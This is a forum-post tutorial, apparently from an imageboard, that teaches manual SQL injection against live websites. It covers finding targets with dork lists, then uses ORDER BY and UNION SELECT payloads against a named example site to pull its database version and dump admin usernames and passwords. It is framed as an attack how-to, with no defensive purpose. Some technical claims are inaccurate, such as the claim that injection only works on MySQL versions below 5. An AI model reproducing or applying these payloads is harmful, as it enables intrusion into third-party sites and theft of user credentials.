SQL injection is a code injection technique, in which malicious SQL statements are inserted into an entry field for execution.
What you'll need -
*A list of dorks, I got these for you:
http://www.mediafire.com/download/lzy8cjo52xct1m4/Dorks.txt*A functioning brain (50% of you can stop reading here)
We'll be covering manual and blind SQLi injection, No Havij.
Step №1 - Check for vulnerability
You can either use a vulnerability scanner or manually check websites, it's up to you.
Using the lists of dork, find a website, let's say we found www.halfchan.org/news.php?id=4
We add an apostrophe to the end of the URL and hope it relays a SQL error back to us.
www.halfchan.org/news.php?id=4
becomes
www.halfchan.org/news.php?id=4'
An indication of a vulnerable website is a message along the lines of;
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server"
Great, halfchan is vulnerable and ready to be injected.
Step №2 - Find number of columns
Finding a number of columns is usually achieved by declaring the ORDER BY statement, we will keep constant increments until we get a relayed error
www.halfchan.org/news.php?id=4 order by 1/* <– no error
www.halfchan.org/news.php?id=4 order by 2/* <– no error
www.halfchan.org/news.php?id=4 order by 3/* <– no error
www.halfchan.org/news.php?id=4 order by 4/* <– error (we get a relayed message along the lines of Unknown column ‘4′ in ‘order clause’)
We do not count the last table because it does not exist, so we have 3 columns.
Step №3 - Discover UNION
We declare UNION statement at the end of the URL to find out which tables are vulnerable
www.halfchan.org/news.php?id=4 union all select 1,2,3/*
Step №4 - Extract SQL Version
Our UNION command told us that table 2 is vulnerable, so we will use that table to extract the version, it's important to understand that SQLi only works on MySQL versions below 5
Replace the vulnerable number table with @@version, our vulnerable table is two, so we remove the 2 from the URL and insert @@version in order to relay the MySQL version back to us
www.halfchan.org/news.php?id=4 union all select 1,@@version,3/*
In case the server does not relay the MySQL version back to you, we declare convert() function in order to bypass the error, in case it's caused by unicode issues.
www.halfchan.org/news.php?id=4 union all select 1,convert(@@version using latin1),3/*
If the server still refuses to relay the version, which probably means the charset is not set to default, we can try bypassing it with this additional syntax
www.halfchan.org/news.php?id=4 union all select 1,unhex(hex(@@version)),3/*
At last, we have our version, it's below 5 and we can carry on.
Step №5 - Obtaining tables and columns names manually
This is a straining and boring step, which is why I recommend getting Havij to do it for you, however, the basics are important.
Common table names: user(s), admin(s), member(s) - these also happen to be the tables we will need to get some tasty information.
Common column names: username, user, usr, user_name, password, pass, passwd, pwd
Attempting to relay one of the tables is simple, and will look like this
www.halfchan.org/news.php?id=4 union all select 1,2,3 from admin/*
If the table exists, relaying a column is also simple, and will look like this
www.halfchan.org/news.php?id=4 union all select 1,username,3 from admin/*
This is a guessing game, so either start guessing or use Havij to guess for you.
By some miracle, we got admins table and username column right, and all the usernames are displayed:
Noot
Janitor
Janitor2
Janitor3
User
User
User
User
User
Great, now we know the halfchan's administrator username, Noot.
Getting the password depends on how the database is set up, sometimes they're unecrypted and are plain text, and sometimes they're md5 hashed, I've seen it all.
By now you should know how to maneuver around tables and columns, so we head over to the passwords column
www.halfchan.org/news.php?id=4 union all select 1,password,3 from admin/*
This usually relays a large string of confusing wall of text, it can be re-arranged to look all pretty and nice using the concat statement
www.halfchan.org/news.php?id=4 union all select 1,concat(username,0×3a,password),3 from admin/* (0×3a is a hash value for colon (:) which will separate our usernames and passwords from the admin table.)
Noot:ILoveBigCocks
Janitor:123456
Janitor2:password
Janitor3:8chanisbetter
User:41241251
And so forth.
If your keyboard has no : because you're finnish or something, you can use ascii aswell.
www.halfchan.org/news.php?id=4 union all select 1,concat(username,char(58),password),3 from admin/*
A last resort if you cannot guess tables or columns would be using mysql.user as default.
part 2 next reply